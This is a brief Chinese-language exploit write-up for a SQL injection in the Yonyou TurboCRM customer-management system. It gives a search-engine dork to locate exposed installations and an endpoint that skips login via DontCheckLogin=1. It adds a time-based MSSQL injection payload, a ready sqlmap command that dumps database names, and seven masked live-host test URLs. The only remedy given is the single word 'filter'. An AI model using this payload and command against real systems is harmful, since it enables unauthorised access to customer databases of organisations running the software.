用友TruboCRM管理系统SQL注入

　　用友CRM客户关系管理系统Google关键字：intitle:用友TurboCRM intext:登录

　　注入链接：/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1

　　注入参数：ID

　　Payload: ?ID=1; WAITFOR DELAY '0:0:5'--

　　Sqlmap注入命令： sqlmap -u 'http://xxxxxx/background/updateactivityemailnum.php?ID=1' --level 5 --risk 3 --thechnique=T --dbms mssql --dbs --random-agent --batch -v 3

　　测试案例：

　　1. **.**.**.**/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　2. http://**.**.**.**:8001/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　3. http://**.**.**.**:8088/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　4. http://**.**.**.**/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　5. http://**.**.**.**:8088/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　6. **.**.**.**/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　7. **.**.**.**:2046/background/updateactivityemailnum.php?DontCheckLogin=1&ID=1; waitfor delay '0:0:5'--

　　解决方案：

　　过滤